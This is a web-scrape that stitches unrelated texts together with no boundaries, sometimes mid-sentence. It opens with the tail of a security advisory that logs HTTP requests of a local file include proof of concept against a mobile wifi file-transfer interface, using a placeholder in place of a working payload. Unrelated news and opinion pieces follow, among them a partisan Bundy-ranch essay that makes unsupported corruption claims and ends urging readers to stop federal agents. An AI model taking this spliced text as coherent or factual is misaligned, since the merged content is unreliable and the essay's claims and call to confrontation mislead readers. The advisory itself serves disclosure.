Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8000:8000/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[5753] Date[Sun, 19 Oct 2014 17:05:59 GMT] - Status: 200[OK] GET http://localhost:8000:8000/files?p= Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[369] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8000:8000] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[application/json, text/javascript, */*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://localhost:8000:8000/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[369] Date[Sun, 19 Oct 2014 17:06:00 GMT] - Status: 200[OK] GET http://localhost:8000:8000/./[LOCAL FILE INCLUDE VULNERABILITY!].png Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8000:8000] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8000:8000/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[0] Date[Sun, 19 Oct 2014 17:06:01 GMT] Solution - Fix & Patch: ======================= The file include web vulnerability can be patched by a secure parse and encode of the filename in the upload POST method request. To prevent the execution filter the input and restrict it on input but encode also the iToolZip wifi interface file dir list with the vulnerable name output value. Security Risk: ============== The security risk of the local file include web vulnerability in the iToolZo wifi web interface is estimated as high. (CVSS 6.4) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: [email protected] - [email protected] - [email protected] Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact ([email protected] or [email protected]) to get a permission. Copyright © 2014 | Vulnerability Laboratory [Evolution Security]Life’s hard in Israel, but new data confirms that Israel is among world leaders in length of life. A new study, which includes data for 188 countries, puts Israel very high on the rankings for healthy life expectancy.
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The report also shows that even though most people around the world are living longer, they’re also much sicker. The findings were published in the latest issue of prestigious medical journal Lancet.
Last year's report
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For instance, in Lesotho (in southern Africa) and Swaziland, life expectancy in 2013 was 10 years shorter than 20 years before.
In the current study, researchers made a calculation they nicknamed “Healthy Life Expectancy,” which takes into account not just mortality rates, but also years of life without terminal disease. This calculation gives an indication of a person’s number of healthy years.
The longest healthy life expectancy was registered in Japan – 73.4 years on average. The lowest was in Lesotho – 42 years. Israel is sixth from the top, averaged for both sexes.
Men in 4th place, women in 10th
The latest study by the World Health Organization’s (WHO) World Health Report (WHR) confirms that general life expectancy in Israel is among the longest in the world: Israeli men are fourth in the world with an average of 80.2 years, behind Icelandic (81.2), Swiss (80.7), and Australian (80.5) men. Israeli women are also doing well, being ranked tenth in the world in life expectancy, with even longer lives than the men – 84 years on average.
The golden years (Photo: Shutterstock)
A combined calculation of women and men shows that Israel is in third place beside other countries: Japan is in first place, with a combined average age of 84 years. In second place are Australia, Italy, Singapore, San Marino, Switzerland, and Andorra with 83. Third place sees Israel stand alongside France, Spain, Sweden, Norway, New Zealand, Monaco, Luxemburg, and Cypress, with an average of 82 years.
“The world has made great progress in health, but now the challenge is to invest in finding more effective ways of preventing or treating the major causes of illness and disability,” said the head of the research team, Professor Theo Vos from the University of Washington.
“The health status of the world’s people has gotten better thanks to advances in medical technology, vaccines, medications, and improvements in obstetrics and infant care. But the healthy life expectancy hasn’t improved, so people still live longer, but are also sick more often."
Central Bureau of Statistics (CBoS) figures indicate that life expectancy in Israel in 2013 was 83.9 years for women and 80.3 years for men. That’s an increase of 0.3 years for women and 0.4 years for men, compared to 2012. The gap in life expectancy between women and men stood at 3.6 years in 2013. In the last decade, life expectancy has risen 2.9 yearsamong men and 2.4 years among women.
The CBoS found that life expectancy has risen 8.9 years for women and 8.7 years for men in the past 35 years. Mortality rates for the late 1970s show that only 33 percent of men and 43 percent of women born in that decade were expected to reach the age of 80. But since then there have been significant improvements, leading to the current situation, where 59 percent of boys and 72 percent of girls born today are expected to reach that age.
Israel’s largest jump in life expectancy was registered in the city of Ramat Gan. The average length of a Ramat Gan resident’s life is 82.7 years. Petah Tikva, Haifa, Netanya, Bnei Brak, and Jerusalem residents have slightly shorter average life spans – 82.1-82.2 on average. The CBoS emphasized that some of the differences between cities weren’t statistically significant.
The figures indicate that compared to the 2005-2009 period, life expectancy rose in the 2010-2012 period in all major cities. The most significant rises were in Ramat Gan, Tel Aviv, and Haifa – 1.2-1.3 years on average. The average rise in major cities was 0.7 years. Bnei Brak has experienced almost no change through the years.
When measuring the life expectancy of the population as a whole (using 2012 figures), Israel is eighth among OECD countries (tied with Sweden), with 81.8 years on average. Japan is ranked first, with 1.4 more years than Israel, and 1.6 years over the OECD average.
An international comparison of life expectancies (using 2012 figures) shows that Israeli men keep their high standing with 79.9 average years of life. Their life expectancy is third among OECD countries, along with Sweden and Australia, 1.7 years lower than that of Icelandic men (ranked first) and 0.7 years lower that of Swiss men (second). Israeli men’s life expectancy is 2.4 years higher than the OECD average.I could hardly believe my retinas the other day when I saw that the 2010 winner of the Man Booker Prize was a comic novel—a comic novel!—called The Finkler Question, by Howard Jacobson. The award is given annually for the best novel by an author living in Great Britain, Ireland, or one of the Commonwealth nations, and Booker winners tend not to be a lighthearted lot. Since the first award in 1969, they have included V. S. Naipaul, Iris Murdoch, Salman Rushdie, William Golding, J. M. Coetzee, Ruth Prawer Jhabvala, Ian McEwan, A. S. Byatt, Pat Barker, John Banville, and Anita Brookner, and their novels have left no acre of human misery untilled. How did Howard Jacobson and his comic novel sneak into that somber priesthood?
Bookerism is literature’s hot parlor game. The judges are at least as eminent as the authors—one panel had both a Dame (Rebecca West) and a Lady (Antonia Fraser)—and in the weeks preceding their decision the English air is thick with envious speculation. The first nugget fed to the press is the “long list” of finalists. That list generates a flurry of gossip over who will make the coveted “short list” of five authors, one of whom will subsequently be announced as the winner, thereby making the shortest list of all. It is from the Booker people that the English language has been given a new verb, to shortlist, and authors so anointed are identified for the rest of their lives as having been shortlisted for the Booker Prize.
At the recent ceremony in London, Harold Jacobson “accepted the award to unusually enthusiastic and sustained applause,” said The New York Times. The audience, I assume, was rejoicing in an event it thought it would never live to see: the liberation of the word comic from the label unserious.
“There is a fear of comedy in the novel today,” Mr. Jacobson wrote in The Guardian. “We have created a false division between laughter and thought, between the exhilaration that the great novels offer
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potential slaughter of Americans that would have surely led to massive armed expansion against the tyranny of the Obama/Reid administration.
Gradually, the real back story has emerged. The original bullhocky story about the cattle endangering desert tortoises fell apart when the truth was discovered that only recently the BLM had gerrymandered the boundaries of endangered habitat and created a mitigation area needed to replace habitat where Harry Reid’s son and a Chinese energy company planned to build a 5 billion dollar solar energy project. The federal subsidies for that project have yet been fully discovered. The BLM web site has been scrubbed of details except for some limited images that got reproduced by Free Republic and now abound on the internet.
However, it takes more than a few days to develop a plan for a 5 billion dollar solar farm covering more than 5000 acres. It is now known that in order for “Non-Governmental Organizations” (the Chinese) to move forward with development of the “Dry Lake Solar Energy Zone” that project will destroy desert habitat in the Zone. Therefore an “offsite mitigation for impacts from solar development” area needed to be established. Those exact words remain available on the reproduced sections of the BLM web pages.What that means is, the developers needed to replace one habit with another. Such a new site would need to be far enough away from the toxic solar energy farm to attract the occasional migrating southwestern willow flycatcher ( a bird more commonly found in southern California and Arizona ). Do flycathers eat flies? Yes. Do cow patties attract flies? Usually.
But ignoring all the developments since 1993, a critical issue still remains. The United States government – we the people – gave 1870’s settlers a promise of an open range for cattle if they would homestead and ranch on the land recently annexed from Mexico. The Bundy family answered that call and have honored their part of the contract ever since. In 1993 the Clinton administration unilaterally decided to completely rewrite the original promise conditions and, like so many treaties the U.S. has signed with so many, we simply threw the original promises in the trash and told the Bundy family to take it or leave it! In this case one and only one rancher, Bundy, told the government he was holding the government to its word. What we have seen then since 1993 is that the word of our government isn’t worth a damn. It seems those 1870’s settlers were told, “If you like your ranch you can keep it.”
Why does the government feel it has the unilateral right to change the contract so completely that no other rancher has been able to continue to make a living? Is the corrupt and borderline criminal, politically powerful Harry Reid, once again pulling another fast and furious land deal? Are the citizens of Nevada placing the interest of Chinese investors and the Reid family higher than the honor of the United States word to the settlers that opened the Nevada territory some one hundred and fifty years ago?
Today, the alternative media has begun to cover another BLM land grab. In Texas, rancher Tommy Henderson is being told the government is confiscating his 90,000 acre ranch along the Red River. Henderson is also told that once the BLM takes his ranch for public land, he might be able to arrange a grazing contract; you know, like Cliven Bundy and his neighbors used to have in Nevada.
Henderson has a clear deed to his land in the state of Texas. He has no back taxes or fines or other issues pending. So how is the BLM taking his family ranch? The BLM has decided to declare that his land is now in Oklahoma and therefore his Texas deed became invalid when the Red River moved its banks south.
If one more federal agent takes one more legal gun from one more American, the rest of us need to put a stop to it – before none of us can!
Share on FacebookThe CEO of Arby's flew to Broward County to meet with police officials Friday after a controversy over an alleged denial to serve a sergeant at one of the fast-food chain's restaurants.
The company confirmed that it fired manager Angel Mirabal, 22, and put clerk Kenneth Davenport, 19, on "temporary paid leave." A spokesman for the Atlanta-based Arby's Restaurant Group declined to say how long Davenport's leave would last.
A statement released Friday from the company on behalf of Paul Brown, chief executive officer of Arby's Restaurant Group, said he was in South Florida to give free meals to any officers who accepted the company's conciliatory offer.
Brown also met with police union officials John Rivera, president of the Florida and Dade County Police Benevolent Associations, and Jeff Marano, Rivera's Broward counterpart. Although both acknowledged the company's efforts to make amends, Marano told reporters he wanted Brown to "apologize to every police officer in the United States."
Mirabal and Davenport were working a night shift Tuesday at the Pembroke Pines restaurant, 11755 Pines Blvd., when Sgt. Jennifer Martin, 34, said Mirabal told her: "He doesn't want to serve you because you are a police officer."
Marian Liu / Sun Sentinel The Pembroke Pines police chief demanded and quickly received an apology Wednesday from the Arby's restaurant chain after one of the city's uniformed officers reported being denied service "due to being a police officer." The incident allegedly happened Tuesday evening at the Arby's at 11755 Pines Blvd. in the Pembroke Lakes Mall. The Pembroke Pines police chief demanded and quickly received an apology Wednesday from the Arby's restaurant chain after one of the city's uniformed officers reported being denied service "due to being a police officer." The incident allegedly happened Tuesday evening at the Arby's at 11755 Pines Blvd. in the Pembroke Lakes Mall. (Marian Liu / Sun Sentinel) (Marian Liu / Sun Sentinel)
Mirabal had to order Davenport to process Martin's credit card and she became uncomfortable about dining there, according to her offense report. Martin went inside the restaurant and got a refund, when she said Mirabal laughed and told her he was allowed to refuse to serve her.
Davenport later said the comment from Mirabal was an attempt at a joke that backfired. After finding himself so busy with other customers that he could not complete Martin's transaction, Davenport said he asked Mirabal for help. That's when Mirabal made his remark, Davenport said.
However, the police union officials did not find the incident to be a laughing matter.
Marano, president of the Broward Police Benevolent Association, said Tuesday's incident was another example of attacks against police officers in America.
"For an officer to be denied service just because she was wearing a uniform, this has just gone on too far and America needs to wake up," he said. "The president needs to wake up. He needs to get to the podium to address this issue just like he has addressed issues in Baltimore, like he has in Ferguson. He needs to address this issue as well."
Brown called the company's decisions about its personnel "complex and difficult" and said they were made after a "thorough investigation.
"We have reviewed our process and decision with the Pembroke Pines Police Department, who made it clear they consider the case closed," Brown said.
Staff Writer Mike Clary and Erika Pesantes contributed to this report.Sometimes Interesting has teamed up with the Idiot Photographer to bring the reader a unique insight to the history of Gary, Indiana. Over the coming weeks we will feature various structures and tell their history.
Today we detail the life of the 85 year-old building known at various times as The Mahencha, Mahencia, and Hatcher Apartments. Despite being a favorite of photographers and urban explorers in Gary, there is little compiled anywhere about Mahencha; we wanted to fix that.
It is one of the most recognizable structures in town and like most abandoned buildings, it reminds of Gary’s better days. Can the beautiful architecture be preserved before demolition?
cover photo courtesy Tabula Rasa
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Beginnings
Often referred to as The Mahencia Apartments, the 4-floor Mahencha building was constructed in 1928.
It was a grand structure designed to celebrate the Renaissance Revival, boasting a Spanish-inspired façade complete with asymmetrical tower.
The U-shaped complex was built with red brick and stone trimmings, and featured a beautiful courtyard in the rear.
Located at 1900 West 5th Avenue across from Horace Mann High School on Gary’s main drag, Mahencha was majestic and considered one of the more prestigious addresses in Gary.
The apartments were built to house U.S. Steel management and city officials, with 31 units featuring every amenity of the time.
For decades the prestigious apartments would house some of Gary’s elite; Mahencha boasted former Gary mayor Martin Katz as a one-time resident.
Ownership would change hands over the years, but during the 1960s and 70s it was owned in a trust, concealing ownership information.
(Click thumbnails to enlarge)
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The Hatcher Era
Former Gary mayor Richard Hatcher and his wife purchased the Mahencha Apartments from the trust in 1978.
Mayor Hatcher would rename it The Hatcher Apartments, however most in Gary would still refer to the building by its original name.
The Hatchers would run the apartment building for only six years. The unattended structural issues had worsened and Hatcher was either unable or unwilling to invest additional money into the structure.
This, combined with a lack of profitability, forced Hatcher to finally scuttle operations in 1984.
The last residents of Mahencha Apartments told of the building’s demise in its final years of operation.
Reports of water damage, mold issues, and fixtures falling off the walls were common. Faulty old wiring would leave residents with sporadic power issues.
Under the Hatchers, the building deteriorated rapidly. In 1985 a former employee accused the owners of neglecting the apartments since 1979, letting the building languish and never maintaining it.
A dispute over the size and value of the property left the mayor embroiled in a dispute with city tax assessors for years.
Reports would surface of Mayor Hatcher failing to pay property taxes on multiple properties around Gary in addition to Mahencha – including two homes and several vacant lots.
In March of 1987 Richard Hatcher acknowledged he had not paid taxes on the Mahencha property since 1983, but added the taxes were not paid due to an on-going appeal with the city tax assessor – and that the taxes would be paid from the proceeds when the property was sold.
Hatcher later admitted he had been unsuccessful in trying to sell the property.
By 1988 the Mahencha Apartment’s outstanding tax bill had eclipsed $38,500. The city of Gary would try to sell the building at the Lake County treasurer’s tax auction.
The auction was substantial; 9,600 properties owing over $20 million dollars in back-taxes were to be offered in the first such county auction in over two years.
Unfortunately Mahencha did not receive a bid in the 1988 auction.
In 1989 the Hatchers filed for an injunction to block the city from seizing the property citing their ongoing property tax reassessment appeal. Then, In 1990 the Hatchers filed suit against the Indiana State Board of Tax Commissioners over the dispute.
With Hatcher still unable or unwilling to pay, the city continued its plans to seize the building and send it to the next county auction in 1991.
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The Beginning of the End
After the apartments had been abandoned for six years, new residents moved in. The homeless and drug abusers found a new home.
Prostitution was a recurring problem along with vandalism and theft: windows in every frame were broken, every fixture removed, and robbers had stripped the piping from the building for salvage.
Over the years the building would become a thorn in the side of Gary’s building code and enforcement department. Numerous $5,000 code violation fines went unpaid and added to Hatcher’s already growing bill to the city.
Local residents reported seeing the Hatchers board up the structure numerous times, but the homeless and vandals would just tear the boards down and re-enter.
The same would happen with trash clean-up attempts; the Hatchers would have a crew spend all weekend picking up trash around the property, but a week later it was again desecrated.
Eventually the Hatchers stopped trying.
A report of County records released in 1990 showed the Hatchers owed more than $56,000 in taxes and penalties for the Mahencha building from 1983 through May of 1990.
Despite Hatcher’s appeals over the property tax dispute, the city still seized the property in the early 90s.
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New Hope?
In the mid 1990’s the city of Gary donated the property to the Horace Mann-Ambridge Neighborhood Improvement Organization (HMANIO) in hopes the non-profit would be able to renovate the decrepit building.
Executive Director Finnis Springer, along with HMANIO president Rosie Thomas and acquisitions specialist Yvonne Anderson, worked with the city of Gary’s planning and community department to give the building a complete makeover.
Plans went forward, and in October of 1997 Springer announced:
“There will be nine one-bedroom units, 12 two-bedroom and six three-bedroom units. And the first-floor units will be accessible to those with disabilities.“
The renovation, estimated to cost $3 million, was slated for completion by December of 1998.
HMANIO was also expecting to receive low income tax credits, a historic tax credit, and $750,000 in tax-exempt housing funds from the Redevelopment Commission through city-issued bonds.
The funds were scheduled to be repaid through the monthly rental fees of the apartment units in the building, estimated to average $430.
Unfortunately, the financing did not come together as planned and HMANIO’s attempt would fail. In 1999 the Gary City Redevelopment Commission approved the sale of Mahencha to the Tree of Life Community Development Corporation (CDC).
After Tree of Life assumed control of the building, executive director Bettye Brooks applied for financial assistance to the Indiana Housing Finance Authority Rental Housing Tax Credit Program.
The projected renovation cost was $3.4M; the new Mahencha Apartments would have 29 units varying in size from one-bedroom to three-bedroom apartments.
Tree of Life also revealed they expected to secure Federal funds through the Department of Housing and Urban Development (HUD).
By 2000 the Tree of Life CDC announced they would begin repairs on Mahencha in earnest, starting with the roof, however this initiative also failed to materialize as the planned funding once again fell through.
In April of 2001 over $1M of new funding was announced to be coming through the Gary Board of Public Works and Safety.
Tree of Life CDC announced they would spend $497,954 of their share to renovate the crumbling building. Executive director Bettye Brooks said construction was projected to last 12-18 months, with the apartments estimated to re-open by 2003.
Of course doomed as the building seemed to be, this plan also did not materialize.
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Mahencha Apartments Future
Today the building sits in development purgatory, waiting for another mayor to announce development plans and another investor to fund a renovation project. Unfortunately, the poor condition of the building and its outdated infrastructure make a demolition scenario more likely.
Since the edifice is an architectural icon of Gary, we can only hope for the former.
Until then, only the sound of the occasional roof tile crashing to the ground below disturbs the silence that pervades Mahencha.
*
pictures courtesy Tabula Rasa & the Idiot Photographer
**
41.602219 -87.36098
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PinterestHow to achieve zero traffic deaths in New York City
BY KEEGAN STEPHAN | Bill de Blasio promises to eliminate traffic deaths by 2024. He calls this plan “Vision Zero” after the successful campaign launched by Sweden in 1997 that has been modified and implemented in cities around the world.
A cornerstone of Vision Zero — and the entire urban planning and Safer Streets movement — is that cities can calm traffic using the “Three E’s”: Education, Engineering and Enforcement. The Bloomberg administration improved our city’s engineering and, to a lesser extent, its education about street safety, but it failed to motivate the New York Police Department to improve enforcement.
Over all, traffic fatalities have decreased 30 percent over the last seven years. But, as the New York Post reported this past Saturday, pedestrian fatalities are on the rise, and more than 220 New Yorkers have been killed in traffic this year alone — more than 220 families, neighborhoods and communities have been left grief-stricken. Just last week, four people were killed by drivers within a 30-minute span. One was an 88-year-old woman hit on Avenue C on Nov. 27 at 5:15 p.m. by a Con Ed truck driver making a left-hand turn onto E. 16th St.
It is abundantly clear that de Blasio must do more in all three categories to end these tragedies and achieve Vision Zero. Here’s what needs to be done in each category:
In terms of education, more signage is critical. In the last five years, our city changed the layout of its streets more than it did over the previous 50. Yet there are very few signs educating people about these redesigns, and even fewer that warn drivers of the illegality and danger of their two most deadly behaviors: speeding and failure to yield.
Speed limit and “Yield to Pedestrians” signs reinforce the rules of the road and remind motorists of the dangers they could pose to others — yet they are almost impossible to find in New York City. These signs should be ubiquitous across the five boroughs.
As for engineering, the city needs more so-called “complete streets.” The city has identified and proven which street redesigns save lives. It has also identified its most deadly streets. Many communities have even gone to great lengths to request the installation of those lifesaving street features in their neighborhoods. Yet, the city has not touched many of its most dangerous streets, and has specifically denied applications in some areas for “slow zones,” stop lights and speed humps.
The city’s reluctance to inconvenience drivers should not take precedence over safety. If the city has identified things it can do to save scores of lives, it should just do them. For example, the city has said that lowering the speed limit to 20 miles per hour would save scores of lives, but it worries that doing so would violate state vehicle and traffic law. Why not pass, post and enforce a citywide 20-mile-per-hour speed limit and see if the state sues the city for making its streets safer and saving lives?
Regarding enforcement, the three key words are Enforce, Investigate and Automate. Proportionally to the danger they pose, drivers who speed and fail to yield are rarely ticketed, and even when they injure or kill people while breaking these laws, they are almost never charged with a crime. This must change. The N.Y.P.D. must target the most deadly driving behaviors, thoroughly investigate injuries and deaths, and release those investigations to the public, so we can further sharpen education and engineering practices.
The N.Y.P.D. can be aided in this effort by legislators, who can designate speeding and failure to yield as crimes instead of violations, and make drivers criminally liable when they break these laws and injure or kill.
Installing speed and red-light cameras would also calm traffic and save lives. Albany routinely pushes back against the city’s request for traffic cameras. However, one pillar of de Blasio’s Vision Zero plan is the simple but brilliant idea that New York City have home rule over the placement of traffic cameras on its own streets.
Yet, none of these changes will come easy. There will be pushback from some drivers, industries, politicians and tabloids. The most important thing we need to end traffic violence on our streets by 2014 is political will, but it is not clear where it will come from.
Bill de Blasio has committed to Vision Zero, but we do not know if he has the political will to make it a reality. Members of the City Council have proposed lifesaving legislation, but it is often watered down or rejected because of technicalities or lack of support. The city’s Department of Transportation and the N.Y.P.D. have made improvements and touted their successes, but our streets are still unsafe, and our fellow New Yorkers are still dying. Thankfully, one unwavering voice has grown more loud and clear than ever before — that of activists for safer streets.
The movement for safe streets has grown in remarkable ways this year alone. In addition to the ever-present work of Transportation Alternatives, a political action committee called StreetsPAC was formed specifically to endorse candidates who support safer streets. Also, families of victims have become leaders in the movement, while communities in every borough have organized locally, and direct action has flared up across the city.
The Tao-Liam family, whose 3-year-old daughter, Allison, was killed by a driver who failed to yield right of way, published a powerful op-ed in the Daily News calling for better traffic enforcement citywide. The Cohen-Eckstein family, whose 12-year-old son, Sammy, was killed by a driver reportedly going the speed limit, have led the push for a 20-mile-per-hour limit on all residential streets in New York City.
Two new groups — Three Children Too Many and Make Brooklyn Safer — formed and organized rallies exactly one week apart from each other in Jackson Heights, Queens, and Fort Greene, Brooklyn. Each rally drew more than 100 people, and these groups are not going away. Activists with Right of Way have created guerilla signage, infrastructure and memorials that highlight lack of enforcement and prosecution at sites like that of the 88-year-old woman killed last Wednesday whose family will likely never see justice.
The safer streets movement is poised and ready to support every grieving family and every advocacy effort that could save a life. We will put pressure on every politician and agency we must to make Vision Zero a reality. We will support Bill de Blasio and others when they fight for the change we need, and call them out on it when they do not.
Continuing to let people be killed on our streets is not an option.
Stephan is a member, Right of Way, an advocacy group for safer streets in New York CityBRUSSELS (Reuters) - ChemChina [CNNCC.UL] won conditional EU antitrust approval on Wednesday for its $43 billion bid for Swiss pesticides and seeds group Syngenta SYNN.S, a deal that could help China boost its domestic agricultural output.
FILE PHOTO: Syngenta's logo is seen at Syngenta Biotech Center in Beijing, China, February 19, 2016. REUTERS/Kim Kyung-Hoon/File Photo
The deal is one of several reshaping the agricultural chemicals and seeds market, even as these deals trigger fears among some farmers that bigger, more powerful suppliers could be better placed to push up prices and economize on developing new herbicides and pesticides.
Reuters reported on Feb. 2 that the deal, the largest foreign acquisition by a Chinese company, would be cleared with conditions.
The European Commission said planned asset sales would address its competition concerns.
“It is important for European farmers and ultimately consumers that there will be effective competition in pesticide markets, also after ChemChina’s acquisition of Syngenta,” European Competition Commissioner Margrethe Vestager said in a statement.
Syngenta shares were trading up 1.1 percent after the clearance was announced.
ChemChina will sell a large chunk of its subsidiary Adama’s pesticide, herbicides and insecticides business, its seed treatment products for cereals and sugar beet and a substantial part of its plant growth regulator business for cereals.
American Vanguard said it struck a deal with Adama to acquire three crop protection product lines, without disclosing financial terms.
MAJOR STEP
Bernstein Research analyst Jeremy Redenius said that since Adama focuses on established crop chemicals that have lost patent protection, potential buyers of other assets would likely be from the same industry segment, such as FMC Corp (FMC.N), Nufarm (NUF.AX) and Sumitomo Chemical (4005.T).
Redenius added that BASF (BASFn.DE) was unlikely to bid due to its focus on patented substances.
BASF and FMC declined to comment. Australia’s Nufarm and Japan’s Sumitomo were not immediately available for comment outside regular business hours.
Syngenta said the EU’s go-ahead was a major step toward closing the transaction, expected in the second quarter of 2017.
Some of Syngenta’s pesticides will also be put on the block. The world No. 1 pesticides maker sells its products in more than 90 countries under such brand names as Acuron, Axial, Beacon and Callisto. It sells seeds such as cereals, corn, rice, soybeans and vegetables.
U.S. antitrust authorities nodded the deal through on Tuesday on condition ChemChina divests three products.
The EU approval came a week after it cleared the $130 billion Dow Chemical DOW.N and DuPont DD.N merger in return for hefty asset sales, including global research and development facilities.Three people are now confirmed dead, according to Monroe County Coroner Bob Allen. And at least three are in critical condition following the shooting at tonight's Ross Township municipal meeting.
Two men died at the scene and one who was helicoptered out later died.
West End Open Space Commission Executive Director Bernie Kozen reportedly tackled the shooter and turned the gun onto the shooter.
Township Supervisor Howard Beers' daughter, Alissa Rutt, got a call from her dad where he said, "Just listen to what I have to say: No matter what you hear, I'm ok."
The shooter was conscious and taken out on a stretcher, according to reports at the scene.
A Pocono Record reporter who was at the meeting reported that the alleged gunman had a pistol with a scope and shot through a wall into the meeting. You can read this account, here. http://bit.ly/16qadHv
One person was shot in the leg, two were hit in the stomach and one was shot in the head, according to early unconfirmed reports.Guadalupe García de Rayos — who inspired protests in Phoenix, Arizona, when she was detained Wednesday during a routine check-in with Immigration and Customs Enforcement (ICE) — was deported to Mexico on Thursday morning.
García de Rayos, a 35-year-old mother of two, came to the United States illegally when she was 14 years old. She has been required to regularly check in with ICE officials since 2008, when she was caught using a fake Social Security Number to gain employment.
Her attorney, Ray A. Ybarra Maldonado, said he was informed of her deportation Thursday by the Mexican consulate but had few further details. Maldonado had filed a stay of deportation on Wednesday to keep her in the country, but he said ICE officials never responded to it, though they told him they would take it into consideration.
“She just has all the equities that would necessitate finding humanitarian reasons to grant her a stay in this country,” Maldonado said in a press call on Thursday.
Maldonado and other advocates attributed the deportation to President Donald Trump’s new immigration order, which prioritizes the deportation of undocumented immigrants who have been charged with a crime.
“We knew that there’s a new President, we knew that there were new priorities set forth,” said Carlos Garcia, executive director of the immigrant rights group Puente Arizona. “The family knew that this was a possibility.”
Write to Katie Reilly at [email protected] Massachusetts health plans covering 2.6 million residents announced Thursday they will cover treatment with the drug methadone by July 1, in an effort to address the epidemic of addiction to opiate drugs.
Some plans already cover the treatment, and the health plans said they decided to offer coverage independently after conversations with state officials on how they could help.
“Since Governor Patrick declared opiate addiction a public health crisis, there have been lots of conversations around opiate addiction and what we can do,” said Lora Pellegrini, president of the Massachusetts Association of Health Plans, which represents 17 health plans.
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Some health plans, including Medicaid, already cover methadone. The state’s largest insurer, Blue Cross Blue Shield of Massachusetts, has covered methadone for a decade.
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The state also buys the drug in bulk and makes the treatment available to those whose insurance does not cover it. But Pellegrini said the move by its member plans to cover an effective treatment could help reduce the stigma around treating substance abuse.
Advocates and providers of substance abuse treatment praised the move, but said that the details would matter. Since methadone treatment initially requires daily visits to a clinic, a high co-pay could make the coverage prohibitively expensive.
“It sounds like a really positive step. If they institute in a way that it’s a meaningful benefit, they deserve a lot of credit, because we do have an opioid epidemic,” said Vic DiGravio, president of the Association for Behavioral Healthcare, a statewide association of mental health and addiction treatment provider organizations.
Kevin Norton, CEO of Lahey Health Behavioral Services, said that the move could decrease overall health care costs.
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“What we know is that if we leave someone’s substance abuse needs untreated, their strict medical costs will be anywhere from 2 to 4 times as expensive as someone with the exact same medical issue who doesn’t have a substance abuse issue,” Norton said.
DiGravio added that increased insurance coverage might help free up state resources now devoted to providing methadone, diversifying the kinds of support and services to support addiction treatment.
“This will add to the range of covered treatments for addiction, ” said Marylou Sudders, of the Executive Office of Health and Human Services.
Carolyn Y. Johnson can be reached at [email protected]'Twas the night before Christmas tree lights were due to be switched on in a small Essex town, when vandals struck and chopped it right down. But locals in Rochford refused to let their event be ruined.
Following a social media appeal by council chairman Heather Glynn the tree and lights were restored in time for the switch on. An Essex Police spokesman told the IB Times that they "believed a chainsaw had been used to fell the tree" at sometime between 11pm on 28 November and 6am on 29 November.
They added that "it was definitely premeditated" and they were seeking any witnesses to the attack.
However, Cllr Glynn said: "Fortunately the lighting event was not until the afternoon and people were determined not to let the vandals beat them," she told the BBC, adding that she was in despair when the discovery was made.
"It was an act of mindless vandalism," festival organiser Pete Tobit told the broadcaster. "Nothing stolen, just cut down."
But after people turned up to help restore the light he said it had restored his faith in community spirit.It's holiday season which for many of you will involve getting and receiving gifts, as well as for some: being charitable. This post will provide some help for those looking to do the most good during this giving season.
We likely all want to do good when we donate. Donating to causes is not a matter of feeling good about ourselves, but rather it's because we are trying to do good things in the world. It then follows that we would ideally want to do the most amount of good with our limited resources.
So, how do we accomplish this, exactly? For starters, it's important to realize that some cause areas receive a lot of attention because they are easily marketable or simply popular areas for other reasons. However, this means that choosing, for example, a pet charity, might not be the best idea because they are already receiving a lot of donations (because people care about pets more than other animals, perhaps).
Your donation will likely not be as high-impact because the area you are donating to is not as neglected of an area. On the other hand, farmed animals are incredibly neglected if you think about the scale (billions of farmed animals) and the amount of money being spent on reducing their suffering (less than 100 million dollars).
So, if it makes sense to give back in a way that helps the most, then it seems like we should focus on farmed animals, as well as other animals or causes that are neglected given their scale.
One organization, Animal Charity Evaluators, spends hundreds of hours reviewing animal nonprofits in order to roughly estimate which ones are the best value in terms of doing the most good.
Of their reviews, their three standouts are Mercy for Animals, The Humane League, and The Good Food Institute. MFA and THL are both established nonprofits with a good history of effectively helping animals. The GFI is a bit of a startup, but it's being run by people with a good track record in the effective animal advocacy movement.
